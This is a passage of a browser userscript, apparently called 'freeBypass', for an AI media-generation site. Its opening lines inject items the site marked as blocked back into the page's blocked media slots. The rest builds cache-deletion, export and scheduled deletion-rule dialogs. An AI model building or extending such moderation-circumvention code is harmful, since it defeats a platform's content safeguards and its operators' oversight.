const invalidItems = getBlockedTaskItems(taskData);
if (domInjectDebug) console.log('[InjectDOM][Workflow] Slots', { taskId, blockedSlots: blockedSlots.length, invalidItems: invalidItems.length });
if (!invalidItems.length || !blockedSlots.length) continue;
for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
const slot = blockedSlots[i];
const item = invalidItems[i];
if (safeViewEnabled) {
addSafeViewButtonToSlot(slot, item, taskData, taskId);
} else {
await injectItemIntoSlot(slot, item, taskData, taskId, { deferVideo: bypassDeferVideo });
}
}
}
// Process type 5: workspace media containers (no min-h-100 card wrapper)
const workspaceContainers = Array.from(root.querySelectorAll('div.mt-12.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-8'))
.filter(container => !container.closest('div.min-h-100'));
for (const mediaContainer of workspaceContainers) {
const taskId = findTaskIdForContainer(mediaContainer);
if (!taskId) {
if (domInjectDebug) console.log('[InjectDOM][Workspace] No task id for container');
continue;
}
const taskData = resolveTaskData(taskId);
if (!taskData || !taskData.items?.length) {
if (domInjectDebug) console.log('[InjectDOM][Workspace] No task data', { taskId, hasTaskData: Boolean(taskData) });
continue;
}
addTensorQuickQueueButtons(mediaContainer.closest('div.bg-bg-primary') || mediaContainer.parentElement || mediaContainer, taskData, taskId);
const mediaSlots = getMediaSlots(mediaContainer);
if (!mediaSlots.length) continue;
const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));
const invalidItems = getBlockedTaskItems(taskData);
if (domInjectDebug) console.log('[InjectDOM][Workspace] Slots', { taskId, blockedSlots: blockedSlots.length, invalidItems: invalidItems.length });
if (!invalidItems.length || !blockedSlots.length) continue;
for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
const slot = blockedSlots[i];
const item = invalidItems[i];
if (safeViewEnabled) {
addSafeViewButtonToSlot(slot, item, taskData, taskId);
} else {
await injectItemIntoSlot(slot, item, taskData, taskId, { deferVideo: bypassDeferVideo });
}
}
}
}
console.log(`[InjectDOM][Scan#${scanId}] Summary`, {
...scanStats,
durationMs: Date.now() - scanStartedAt
});
}
// Function to inject delete cache button into task dropdown menus
function injectDeleteCacheIntoDropdowns() {
const dropdowns = document.querySelectorAll('.n-dropdown-menu');
dropdowns.forEach(dropdown => {
if (dropdown.querySelector('[data-bypass-delete-cache]')) return; // Already injected
// Try to find the task ID from context
const taskCard = dropdown.closest('[data-bypass-task-id]');
if (!taskCard) return;
const taskId = taskCard.getAttribute('data-bypass-task-id');
if (!taskId) return;
// Create delete cache option
const deleteOption = document.createElement('div');
deleteOption.className = 'n-dropdown-option';
deleteOption.setAttribute('data-dropdown-option', 'true');
deleteOption.setAttribute('data-bypass-delete-cache', 'true');
deleteOption.innerHTML = `
<div class="n-dropdown-option-body">
<div class="n-dropdown-option-body__prefix n-dropdown-option-body__prefix--show-icon">
<iconpark-icon icon-id="delete" name="" size="16"></iconpark-icon>
</div>
<div data-dropdown-option="true" class="n-dropdown-option-body__label">Delete from Cache</div>
<div data-dropdown-option="true" class="n-dropdown-option-body__suffix"></div>
</div>
`;
deleteOption.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
showDeleteCacheDialog(taskId);
// Close dropdown
dropdown.style.display = 'none';
};
// Insert after existing options
dropdown.appendChild(deleteOption);
});
}
// Delete cache confirmation dialog
function showDeleteCacheDialog(taskId) {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: rgba(0, 0, 0, 0.75);
display: flex;
align-items: center;
justify-content: center;
z-index: 10000000;
backdrop-filter: blur(6px);
animation: fadeIn 0.3s ease;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: ${colors.bg};
border-radius: 16px;
width: 92%;
max-width: 500px;
box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9);
border: 1px solid ${colors.border};
position: relative;
`;
const content = document.createElement('div');
content.style.cssText = `padding: 24px; color: ${colors.text};`;
content.innerHTML = `
<div style="text-align: center; margin-bottom: 20px;">
<div style="width: 64px; height: 64px; background: rgba(239, 68, 68, 0.1); border-radius: 50%; display: inline-flex; align-items: center; justify-content: center; margin-bottom: 16px;">
<i class="fas fa-trash-alt" style="font-size: 28px; color: #ef4444;"></i>
</div>
<h2 style="font-size: 20px; margin: 0 0 8px 0; color: ${colors.text};">Delete Task from Cache</h2>
<p style="margin: 0; font-size: 13px; color: ${colors.textSecondary};">Task ID: <code style="background: rgba(99, 102, 241, 0.1); padding: 2px 6px; border-radius: 4px;">${taskId}</code></p>
</div>
<div style="margin-bottom: 24px;">
<p style="font-size: 14px; color: ${colors.textSecondary}; margin-bottom: 16px;">Choose deletion mode:</p>
</div>
`;
const optionsContainer = document.createElement('div');
optionsContainer.style.cssText = 'display: flex; flex-direction: column; gap: 12px; margin-bottom: 24px;';
const deleteOptions = [
{
mode: 'permanent',
icon: '🔴',
title: 'Delete (Permanent)',
desc: 'Remove completely. Won\'t auto-cache even if task reappears. Cannot be recovered.',
color: '#ef4444'
},
{
mode: 'regainable',
icon: '🟡',
title: 'Delete (Regainable)',
desc: 'Remove from view. Auto-recovers on reload if still available.',
color: '#eab308'
},
{
mode: 'hide',
icon: '⚪',
title: 'Hide',
desc: 'Keep in cache but hide from UI. Useful for archival.',
color: '#94a3b8'
}
];
let selectedMode = 'regainable'; // Default
deleteOptions.forEach(opt => {
const optionBtn = document.createElement('button');
optionBtn.style.cssText = `
padding: 12px;
border: 2px solid ${colors.border};
border-radius: 8px;
background: ${colors.bgSecondary};
color: ${colors.text};
cursor: pointer;
text-align: left;
transition: all 0.3s;
`;
optionBtn.innerHTML = `
<div style="display: flex; align-items: flex-start; gap: 12px;">
<div style="font-size: 24px; flex-shrink: 0;">${opt.icon}</div>
<div style="flex: 1;">
<div style="font-weight: 600; margin-bottom: 4px; font-size: 14px;">${opt.title}</div>
<div style="font-size: 12px; color: ${colors.textSecondary};">${opt.desc}</div>
</div>
</div>
`;
optionBtn.onclick = () => {
selectedMode = opt.mode;
// Update selection state
optionsContainer.querySelectorAll('button').forEach(btn => {
btn.style.borderColor = colors.border;
btn.style.background = colors.bgSecondary;
});
optionBtn.style.borderColor = opt.color;
optionBtn.style.background = `rgba(${opt.color === '#ef4444' ? '239, 68, 68' : opt.color === '#eab308' ? '234, 179, 8' : '148, 163, 184'}, 0.1)`;
};
optionsContainer.appendChild(optionBtn);
});
content.appendChild(optionsContainer);
const buttonRow = document.createElement('div');
buttonRow.style.cssText = 'display: flex; gap: 12px; justify-content: flex-end;';
const cancelBtn = document.createElement('button');
cancelBtn.textContent = 'Cancel';
cancelBtn.style.cssText = `
padding: 10px 20px;
border: 1px solid ${colors.border};
border-radius: 8px;
background: transparent;
color: ${colors.text};
cursor: pointer;
font-size: 14px;
`;
cancelBtn.onclick = () => overlay.remove();
const confirmBtn = document.createElement('button');
confirmBtn.textContent = 'Confirm Delete';
confirmBtn.style.cssText = `
padding: 10px 20px;
border: none;
border-radius: 8px;
background: #ef4444;
color: white;
cursor: pointer;
font-size: 14px;
font-weight: 600;
`;
confirmBtn.onclick = () => {
handleCacheDelete(taskId, selectedMode);
overlay.remove();
};
buttonRow.appendChild(cancelBtn);
buttonRow.appendChild(confirmBtn);
content.appendChild(buttonRow);
dialog.appendChild(content);
overlay.appendChild(dialog);
overlay.onclick = (e) => {
if (e.target === overlay) overlay.remove();
};
document.body.appendChild(overlay);
}
function handleCacheDelete(taskId, mode) {
const cache = loadCache();
const taskIndex = cache.tasks.findIndex(t => t.taskId === taskId || t.routeId === taskId);
if (taskIndex === -1) {
console.warn('[CacheDelete] Task not found:', taskId);
return;
}
const task = cache.tasks[taskIndex];
const taskItems = Array.isArray(task?.items) ? task.items : [];
const itemIds = taskItems
.map(item => String(item?.imageId || item?.id || ''))
.filter(Boolean);
if (mode === 'permanent') {
itemIds.forEach(markItemAsNoRegain);
cache.tasks.splice(taskIndex, 1);
cache.items = cache.items.filter(item => String(item?.taskId || '') !== String(taskId));
cache.deletions = cloneToolData(cacheDeletions, cache.deletions);
saveCache(cache);
console.log('[CacheDelete] Permanently deleted:', taskId);
} else if (mode === 'regainable') {
cache.tasks.splice(taskIndex, 1);
cache.items = cache.items.filter(item => item.taskId !== taskId);
cache.deletions = cloneToolData(cacheDeletions, cache.deletions);
saveCache(cache);
console.log('[CacheDelete] Deleted (regainable):', taskId);
} else if (mode === 'hide') {
itemIds.forEach(markItemAsHidden);
cache.deletions = cloneToolData(cacheDeletions, cache.deletions);
saveCache(cache);
console.log('[CacheDelete] Hidden:', taskId);
}
// Refresh UI
if (isExpanded) {
updateUI(true);
}
// Show notification
showToast(`Task ${mode === 'hide' ? 'hidden' : 'deleted'} successfully`, 'success');
}
// Start watching for dropdowns
let dropdownWatcher = null;
let dropdownWatcherInterval = null;
function startDropdownWatcher() {
if (dropdownWatcher) return;
const targetNode = document.body || document.documentElement;
if (!(targetNode instanceof Node)) {
const retry = () => startDropdownWatcher();
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', retry, { once: true });
} else {
setTimeout(retry, 50);
}
return;
}
dropdownWatcher = new MutationObserver(() => {
injectDeleteCacheIntoDropdowns();
});
dropdownWatcher.observe(targetNode, {
childList: true,
subtree: true
});
// Also check periodically
if (!dropdownWatcherInterval) {
dropdownWatcherInterval = setInterval(injectDeleteCacheIntoDropdowns, 500);
}
}
function showToast(message, type = 'info') {
const toast = document.createElement('div');
const bgColors = {
success: '#10b981',
error: '#ef4444',
warning: '#f59e0b',
info: '#6366f1'
};
toast.style.cssText = `
position: fixed;
bottom: 24px;
right: 24px;
background: ${bgColors[type] || bgColors.info};
color: white;
padding: 12px 20px;
border-radius: 8px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
z-index: 10000060;
font-size: 14px;
animation: slideInRight 0.3s ease;
`;
toast.textContent = message;
document.body.appendChild(toast);
setTimeout(() => {
toast.style.animation = 'slideOutRight 0.3s ease';
setTimeout(() => toast.remove(), 300);
}, 3000);
}
function showExportDialog() {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: rgba(0, 0, 0, 0.75);
display: flex;
align-items: center;
justify-content: center;
z-index: 10000000;
backdrop-filter: blur(6px);
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: ${colors.bg};
border-radius: 16px;
width: 92%;
max-width: 500px;
box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9);
border: 1px solid ${colors.border};
padding: 24px;
color: ${colors.text};
`;
dialog.innerHTML = `
<div style="text-align: center; margin-bottom: 20px;">
<div style="width: 64px; height: 64px; background: rgba(99, 102, 241, 0.1); border-radius: 50%; display: inline-flex; align-items: center; justify-content: center; margin-bottom: 16px;">
<i class="fas fa-download" style="font-size: 28px; color: #6366f1;"></i>
</div>
<h2 style="font-size: 20px; margin: 0 0 8px 0;">Export Cache Data</h2>
<p style="margin: 0; font-size: 13px; color: ${colors.textSecondary};">Download your cached tasks and items</p>
</div>
`;
const optionsContainer = document.createElement('div');
optionsContainer.style.cssText = 'display: flex; flex-direction: column; gap: 12px; margin-bottom: 24px;';
const exportOptions = [
{
format: 'json',
title: 'JSON Format',
desc: 'Complete data export with all metadata',
icon: 'fa-code'
},
{
format: 'csv',
title: 'CSV Format',
desc: 'Spreadsheet-compatible format for analysis',
icon: 'fa-table'
},
{
format: 'txt',
title: 'Text Format',
desc: 'Simple text list of IDs and URLs',
icon: 'fa-file-alt'
}
];
exportOptions.forEach(opt => {
const optBtn = document.createElement('button');
optBtn.style.cssText = `
padding: 12px;
border: 1px solid ${colors.border};
border-radius: 8px;
background: ${colors.bgSecondary};
color: ${colors.text};
cursor: pointer;
text-align: left;
transition: all 0.3s;
`;
optBtn.innerHTML = `
<div style="display: flex; align-items: center; gap: 12px;">
<i class="fas ${opt.icon}" style="font-size: 24px; color: #6366f1;"></i>
<div>
<div style="font-weight: 600; margin-bottom: 4px;">${opt.title}</div>
<div style="font-size: 12px; color: ${colors.textSecondary};">${opt.desc}</div>
</div>
</div>
`;
optBtn.onmouseover = () => optBtn.style.background = colors.bgTertiary;
optBtn.onmouseout = () => optBtn.style.background = colors.bgSecondary;
optBtn.onclick = () => {
exportCache(opt.format);
overlay.remove();
};
optionsContainer.appendChild(optBtn);
});
dialog.appendChild(optionsContainer);
const cancelBtn = document.createElement('button');
cancelBtn.textContent = 'Cancel';
cancelBtn.style.cssText = `
width: 100%;
padding: 10px;
border: 1px solid ${colors.border};
border-radius: 8px;
background: transparent;
color: ${colors.text};
cursor: pointer;
`;
cancelBtn.onclick = () => overlay.remove();
dialog.appendChild(cancelBtn);
overlay.appendChild(dialog);
overlay.onclick = (e) => {
if (e.target === overlay) overlay.remove();
};
document.body.appendChild(overlay);
}
// ============================================================================
// DELETION RULES ENGINE
// ============================================================================
/**
* Deletion rule schema per data type:
* {
* enabled: bool,
* deleteAfterDate: string|null, // ISO date string — delete if current date >= this date
* deleteWhenCount: number|null, // delete if stored count exceeds this
* showConfirmation: bool, // prompt user before applying
* permanent: bool // if true: rule re-applies every time; if false: one-shot
* }
*
* Available data types: taskCache, accounts, hiddenItems, noRegainItems, brokenRequests,
* remoteConfig, announcements, taskActions, taskProfiles, mediaStatus, sharedNotifications
*/
function getDeletionRules() {
try {
const raw = localStorage.getItem(DELETION_RULES_KEY);
if (!raw) return {};
const parsed = JSON.parse(raw);
return parsed && typeof parsed === 'object' ? parsed : {};
} catch {
return {};
}
}
function saveDeletionRules(rules) {
try {
localStorage.setItem(DELETION_RULES_KEY, JSON.stringify(rules));
} catch {}
}
// Returns a human-readable label for each data type used in deletion rules
const DELETION_RULE_DATA_TYPES = [
{ key: 'taskCache', label: 'Task Cache', icon: 'fa-tasks' },
{ key: 'accounts', label: 'Accounts', icon: 'fa-user' },
{ key: 'hiddenItems', label: 'Hidden Items', icon: 'fa-eye-slash' },
{ key: 'noRegainItems', label: 'Permanent Deletions', icon: 'fa-lock' },
{ key: 'brokenRequests', label: 'Broken Requests', icon: 'fa-exclamation-circle' },
{ key: 'remoteConfig', label: 'Remote Config Cache', icon: 'fa-cloud' },
{ key: 'announcements', label: 'Announcement Cache', icon: 'fa-bell' },
{ key: 'taskActions', label: 'Task Actions', icon: 'fa-bolt' },
{ key: 'taskProfiles', label: 'Task Profiles', icon: 'fa-address-card' },
{ key: 'mediaStatus', label: 'Media Status Cache', icon: 'fa-photo-video' }
];
function getDeletionRuleDataCount(typeKey) {
try {
switch (typeKey) {
case 'taskCache': return taskMap.size;
case 'accounts': return Object.keys(cachedUserAccounts).length;
case 'hiddenItems': return cacheDeletions.hidden.length;
case 'noRegainItems': return cacheDeletions.noRegain.length;
case 'brokenRequests': {
const raw = localStorage.getItem('freeBypassBrokenRequestsV1');
if (!raw) return 0;
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed.length : (parsed && typeof parsed === 'object' ? Object.keys(parsed).length : 0);
}
case 'remoteConfig': {
const raw = localStorage.getItem('freeBypassRemoteConfig');
return raw ? 1 : 0;
}
case 'announcements': {
const raw = localStorage.getItem('freeBypassAnnouncementCache');
if (!raw) return 0;
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed.length : 1;
}
case 'taskActions': {
const raw = localStorage.getItem('freeBypassTaskActions');
if (!raw) return 0;
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed.length : (parsed && typeof parsed === 'object' ? Object.keys(parsed).length : 0);
}
case 'taskProfiles': {
const raw = localStorage.getItem('freeBypassTaskProfiles');
if (!raw) return 0;
const parsed = JSON.parse(raw);
return Array.isArray(parsed) ? parsed.length : (parsed && typeof parsed === 'object' ? Object.keys(parsed).length : 0);
}
case 'mediaStatus': {
const raw = localStorage.getItem('freeBypassMediaStatus');
if (!raw) return 0;
const parsed = JSON.parse(raw);
return parsed && typeof parsed === 'object' ? Object.keys(parsed).length : 0;
}
default: return 0;
}
} catch {
return 0;
}
}
function applyDeletionRuleFor(typeKey) {
try {
switch (typeKey) {
case 'taskCache':
taskMap.clear();
itemMap.clear();
itemsData.length = 0;
try { localStorage.removeItem('freeBypassTaskCache'); } catch {}
break;
case 'accounts': {
const tokensToDelete = Object.keys(cachedUserAccounts).filter(t => t !== userToken);
tokensToDelete.forEach(t => removeAccountData(t));
break;
}
case 'hiddenItems':
cacheDeletions.hidden = [];
try { localStorage.setItem('freeBypassHiddenItems', JSON.stringify([])); } catch {}
break;
case 'noRegainItems':
cacheDeletions.noRegain = [];
try { localStorage.setItem('freeBypassNoRegainItems', JSON.stringify([])); } catch {}
break;
case 'brokenRequests':
try { localStorage.removeItem('freeBypassBrokenRequestsV1'); } catch {}
break;
case 'remoteConfig':
try {
localStorage.removeItem('freeBypassRemoteConfig');
localStorage.removeItem('freeBypassRemoteConfigMetaV1');
} catch {}
break;
case 'announcements':
try {
localStorage.removeItem('freeBypassAnnouncementCache');
localStorage.removeItem('freeBypassShownAnnouncements');
} catch {}
if (typeof announcementCache !== 'undefined') announcementCache = null;
break;
case 'taskActions':
try { localStorage.removeItem('freeBypassTaskActions'); } catch {}
taskActionsCache = null;
break;
case 'taskProfiles':
try { localStorage.removeItem('freeBypassTaskProfiles'); } catch {}
break;
case 'mediaStatus':
try { localStorage.removeItem('freeBypassMediaStatus'); } catch {}
mediaStatusCache = null;
break;
default: break;
}
} catch (err) {
console.error('[DeletionRules] applyDeletionRuleFor error:', err);
}
}
function checkAndApplyDeletionRules() {
const rules = getDeletionRules();
const now = Date.now();
let rulesChanged = false;
const pendingConfirm = [];
for (const typeEntry of DELETION_RULE_DATA_TYPES) {
const rule = rules[typeEntry.key];
if (!rule || !rule.enabled) continue;
let triggered = false;
if (rule.deleteAfterDate) {
const ruleDate = Date.parse(rule.deleteAfterDate);
if (!isNaN(ruleDate) && now >= ruleDate) triggered = true;
}
if (!triggered && rule.deleteWhenCount != null) {
const currentCount = getDeletionRuleDataCount(typeEntry.key);
if (currentCount >= rule.deleteWhenCount) triggered = true;
}
if (!triggered) continue;
if (rule.showConfirmation) {
pendingConfirm.push({ typeEntry, rule });
} else {
applyDeletionRuleFor(typeEntry.key);
showToast(`Deletion rule applied: ${typeEntry.label} cleared`, 'info');
if (!rule.permanent) {
rules[typeEntry.key] = { ...rule, enabled: false };
rulesChanged = true;
}
}
}
if (rulesChanged) saveDeletionRules(rules);
// Process confirmation queue sequentially
if (pendingConfirm.length > 0) {
let idx = 0;
const processNext = () => {
if (idx >= pendingConfirm.length) return;
const { typeEntry, rule } = pendingConfirm[idx++];
showConfirmDialog(`Deletion rule triggered: clear "${typeEntry.label}"?`, () => {
applyDeletionRuleFor(typeEntry.key);
showToast(`Deletion rule applied: ${typeEntry.label} cleared`, 'success');
if (!rule.permanent) {
const freshRules = getDeletionRules();
if (freshRules[typeEntry.key]) {
freshRules[typeEntry.key].enabled = false;
saveDeletionRules(freshRules);
}
}
processNext();
});
};
processNext();
}
}
function showDeletionRulesDialog() {
const colors = getThemeColors();
const rules = getDeletionRules();
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed; inset: 0;
background: rgba(0,0,0,0.75); backdrop-filter: blur(6px);
display: flex; align-items: center; justify-content: center;
z-index: 10000060; padding: 16px;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
width: min(640px, 97vw);
max-height: 88vh;
background: ${colors.bg};
border: 1px solid rgba(99,102,241,0.35);
border-radius: 16px;
box-shadow: 0 24px 80px rgba(0,0,0,0.55);
color: ${colors.text};
display: flex; flex-direction: column;
overflow: hidden;
`;
// Header
const header = document.createElement('div');
header.style.cssText = 'padding:16px 20px; border-bottom:1px solid rgba(148,163,184,0.18); background:linear-gradient(135deg, rgba(99,102,241,0.25), rgba(14,165,233,0.1)); display:flex; align-items:center; justify-content:space-between;';
header.innerHTML = `
<div style="display:flex; align-items:center; gap:10px;">
<i class="fas fa-shield-alt" style="font-size:20px; color:#6366f1;"></i>
<div>
<div style="font-size:16px; font-weight:800;">Deletion Rules</div>
<div style="font-size:11px; color:#94a3b8; margin-top:2px;">Auto-delete data on a schedule or when size thresholds are met</div>
</div>
</div>
<button data-close style="background:transparent; border:none; color:#94a3b8; font-size:18px; cursor:pointer; padding:4px 8px; border-radius:6px; line-height:1;"><i class="fas fa-times"></i></button>
`;
header.querySelector('[data-close]').onclick = () => overlay.remove();
dialog.appendChild(header);
// Tab bar
const tabBar = document.createElement('div');
tabBar.style.cssText = 'display:flex; overflow-x:auto; gap:2px; padding:8px 12px 0; border-bottom:1px solid rgba(148,163,184,0.12); flex-shrink:0;';
dialog.appendChild(tabBar);
// Content area
const contentArea = document.createElement('div');
contentArea.style.cssText = 'flex:1; overflow-y:auto; padding:16px 20px; display:flex; flex-direction:column; gap:14px;';
dialog.appendChild(contentArea);
// Footer
const footer = document.createElement('div');
footer.style.cssText = 'padding:12px 20px; border-top:1px solid rgba(148,163,184,0.15); display:flex; gap:8px; justify-content:flex-end; flex-shrink:0;';
const cancelBtn = document.createElement('button');
cancelBtn.className = 'bypass-btn bypass-btn-secondary';
cancelBtn.style.cssText = 'width:auto; padding:8px 18px; font-size:12px;';
cancelBtn.textContent = 'Close';
cancelBtn.onclick = () => overlay.remove();
footer.appendChild(cancelBtn);
dialog.appendChild(footer);
// Working copy of rules
const workingRules = JSON.parse(JSON.stringify(rules));
let activeTypeKey = DELETION_RULE_DATA_TYPES[0].key;
function renderTabBar() {
tabBar.innerHTML = '';
DELETION_RULE_DATA_TYPES.forEach(({ key, label, icon }) => {
const rule = workingRules[key] || {};
const isActive = key === activeTypeKey;
const hasRule = rule.enabled;
const btn = document.createElement('button');
btn.style.cssText = `
flex: 0 0 auto;
padding: 6px 12px;
border-radius: 8px 8px 0 0;
border: 1px solid ${isActive ? 'rgba(99,102,241,0.5)' : 'transparent'};
border-bottom: none;
background: ${isActive ? colors.bgSecondary : 'transparent'};
color: ${isActive ? colors.text : colors.textSecondary};
font-size: 11px; font-weight: ${isActive ? '700' : '500'};
cursor: pointer; white-space: nowrap;
display: flex; align-items: center; gap: 5px;
transition: all 0.15s;
`;
btn.innerHTML = `<i class="fas ${icon}"></i> ${label}${hasRule ? ' <span style="width:6px;height:6px;border-radius:50%;background:#6366f1;display:inline-block;margin-left:2px;"></span>' : ''}`;
btn.onclick = () => {
activeTypeKey = key;
renderTabBar();
renderContent();
};
tabBar.appendChild(btn);
});
}
function renderContent() {
contentArea.innerHTML = '';
const typeEntry = DELETION_RULE_DATA_TYPES.find(t => t.key === activeTypeKey);
if (!typeEntry) return;
if (!workingRules[typeEntry.key]) workingRules[typeEntry.key] = { enabled: false, deleteAfterDate: null, deleteWhenCount: null, showConfirmation: false, permanent: false };
const rule = workingRules[typeEntry.key];
const currentCount = getDeletionRuleDataCount(typeEntry.key);
// Size info row
const sizeInfo = document.createElement('div');
sizeInfo.style.cssText = 'font-size:12px; color:#94a3b8; padding:8px 12px; background:rgba(99,102,241,0.08); border:1px solid rgba(99,102,241,0.18); border-radius:8px;';
sizeInfo.innerHTML = `<i class="fas ${typeEntry.icon}" style="margin-right:8px; color:#6366f1;"></i><strong style="color:${colors.text};">${typeEntry.label}</strong> — currently contains <strong style="color:#e2e8f0;">${currentCount}</strong> item(s)`;
contentArea.appendChild(sizeInfo);
// Enable toggle row
const enableRow = document.createElement('label');
enableRow.style.cssText = 'display:flex; align-items:center; gap:10px; padding:10px 12px; background:rgba(51,65,85,0.3); border:1px solid rgba(148,163,184,0.15); border-radius:8px; cursor:pointer;';
const enableChk = document.createElement('input');
enableChk.type = 'checkbox';
enableChk.checked = !!rule.enabled;
enableChk.style.cssText = 'width:16px; height:16px; cursor:pointer; accent-color:#6366f1;';
enableChk.onchange = () => { rule.enabled = enableChk.checked; };
enableRow.appendChild(enableChk);
enableRow.innerHTML += '';
const enableLabel = document.createElement('div');
enableLabel.style.cssText = 'font-size:12px;';
enableLabel.innerHTML = '<strong>Enable rule for ' + typeEntry.label + '</strong><div style="font-size:10px; color:#94a3b8; margin-top:2px;">When triggered, this data type will be automatically cleared</div>';
enableRow.appendChild(enableChk);
enableRow.appendChild(enableLabel);
contentArea.appendChild(enableRow);
// Date condition
const dateSection = document.createElement('div');
dateSection.style.cssText = 'display:flex; flex-direction:column; gap:6px; padding:10px 12px; background:rgba(51,65,85,0.2); border:1px solid rgba(148,163,184,0.13); border-radius:8px;';
dateSection.innerHTML = `
<div style="font-size:12px; font-weight:600; color:${colors.text};"><i class="fas fa-calendar-alt" style="margin-right:8px; color:#6366f1;"></i>Delete After Date</div>
<div style="font-size:11px; color:#94a3b8;">Clear this data type on or after the selected date</div>
`;
const dateInput = document.createElement('input');
dateInput.type = 'date';
dateInput.value = rule.deleteAfterDate ? rule.deleteAfterDate.substring(0, 10) : '';
dateInput.style.cssText = 'background:#1e293b; border:1px solid #475569; border-radius:6px; color:#f1f5f9; font-size:12px; padding:6px 10px; width:100%; box-sizing:border-box;';
dateInput.onchange = () => { rule.deleteAfterDate = dateInput.value ? new Date(dateInput.value).toISOString() : null; };
dateSection.appendChild(dateInput);
const clearDateBtn = document.createElement('button');
clearDateBtn.style.cssText = 'align-self:flex-start; background:transparent; border:1px solid #475569; border-radius:6px; color:#94a3b8; font-size:11px; padding:4px 10px; cursor:pointer;';
clearDateBtn.textContent = 'Clear date';
clearDateBtn.onclick = () => { dateInput.value = ''; rule.deleteAfterDate = null; };
dateSection.appendChild(clearDateBtn);
contentArea.appendChild(dateSection);
// Count condition
const countSection = document.createElement('div');
countSection.style.cssText = 'display:flex; flex-direction:column; gap:6px; padding:10px 12px; background:rgba(51,65,85,0.2); border:1px solid rgba(148,163,184,0.13); border-radius:8px;';
countSection.innerHTML = `
<div style="font-size:12px; font-weight:600; color:${colors.text};"><i class="fas fa-layer-group" style="margin-right:8px; color:#6366f1;"></i>Delete When Count Exceeds</div>
<div style="font-size:11px; color:#94a3b8;">Clear when the stored item count reaches or exceeds this number (currently: ${currentCount})</div>
`;
const countInput = document.createElement('input');
countInput.type = 'number';
countInput.min = '1';
countInput.placeholder = 'Enter max item count (e.g. 500)';
countInput.value = rule.deleteWhenCount != null ? String(rule.deleteWhenCount) : '';
countInput.style.cssText = 'background:#1e293b; border:1px solid #475569; border-radius:6px; color:#f1f5f9; font-size:12px; padding:6px 10px; width:100%; box-sizing:border-box;';
countInput.onchange = () => {
const v = parseInt(countInput.value, 10);
rule.deleteWhenCount = isNaN(v) || v < 1 ? null : v;
};
countSection.appendChild(countInput);
contentArea.appendChild(countSection);
// Options
const optionsSection = document.createElement('div');
optionsSection.style.cssText = 'display:flex; flex-direction:column; gap:8px;';
const makeOption = (fieldKey, labelText, subText) => {
const row = document.createElement('label');
row.style.cssText = 'display:flex; align-items:center; gap:10px; padding:8px 12px; background:rgba(51,65,85,0.2); border:1px solid rgba(148,163,184,0.12); border-radius:8px; cursor:pointer;';
const chk = document.createElement('input');
chk.type = 'checkbox';
chk.checked = !!rule[fieldKey];
chk.style.cssText = 'width:15px; height:15px; cursor:pointer; accent-color:#6366f1; flex-shrink:0;';
chk.onchange = () => { rule[fieldKey] = chk.checked; };
const lbl = document.createElement('div');
lbl.innerHTML = `<div style="font-size:12px; font-weight:600; color:${colors.text};">${labelText}</div><div style="font-size:10px; color:#94a3b8; margin-top:2px;">${subText}</div>`;
row.appendChild(chk);
row.appendChild(lbl);
return row;
};
optionsSection.appendChild(makeOption('showConfirmation', 'Show Confirmation Dialog', 'Display a confirmation prompt before applying the rule instead of deleting automatically'));
optionsSection.appendChild(makeOption('permanent', 'Permanent Rule (Re-apply)', 'Keep rule active and re-apply it every time the condition is met. If unchecked, rule deactivates after first trigger.'));
contentArea.appendChild(optionsSection);
// Save button
const saveBtn = document.createElement('button');
saveBtn.className = 'bypass-btn bypass-btn-primary';
saveBtn.style.cssText = 'padding:8px 20px; font-size:12px; font-weight:700; align-self:flex-start;';
saveBtn.innerHTML = '<i class="fas fa-save" style="margin-right:6px;"></i>Save Rule';
saveBtn.onclick = () => {
saveDeletionRules(workingRules);
showToast(`Rule saved for ${typeEntry.label}`, 'success');
// Re-render tab bar to update indicator dots
renderTabBar();
};
contentArea.appendChild(saveBtn);
}
renderTabBar();
renderContent();
overlay.appendChild(dialog);
overlay.onclick = (e) => { if (e.target === overlay) overlay.remove(); };
document.body.appendChild(overlay);
}
function showResetAllDataDialog() {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.8);
backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 10000050;
padding: 16px;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
width: min(620px, 96vw);
background: ${colors.bg};
border: 1px solid rgba(239, 68, 68, 0.45);
border-radius: 18px;
box-shadow: 0 28px 90px rgba(0, 0, 0, 0.55);
color: ${colors.text};
overflow: hidden;
`;
dialog.innerHTML = `
<div style="padding:20px 22px; border-bottom:1px solid rgba(239,68,68,0.28); background:linear-gradient(135deg, rgba(127,29,29,0.9), rgba(69,10,10,0.92)); color:white;">
<div style="display:flex; align-items:center; gap:12px;">
<div style="width:46px; height:46px; border-radius:50%; display:flex; align-items:center; justify-content:center; background:rgba(255,255,255,0.12); font-size:22px;">
<i class="fas fa-triangle-exclamation"></i>
</div>
<div>
<div style="font-size:18px; font-weight:900;">Reset and Delete All Data</div>
<div style="font-size:12px; opacity:0.9; margin-top:4px;">This is a full factory reset for this tool.</div>
</div>
</div>
</div>
<div style="padding:20px 22px; display:grid; gap:14px;">
<div style="font-size:13px; line-height:1.7; color:${colors.textSecondary};">
This means <strong style="color:${colors.text};">everything</strong> related to this tool will be removed completely, including:
</div>
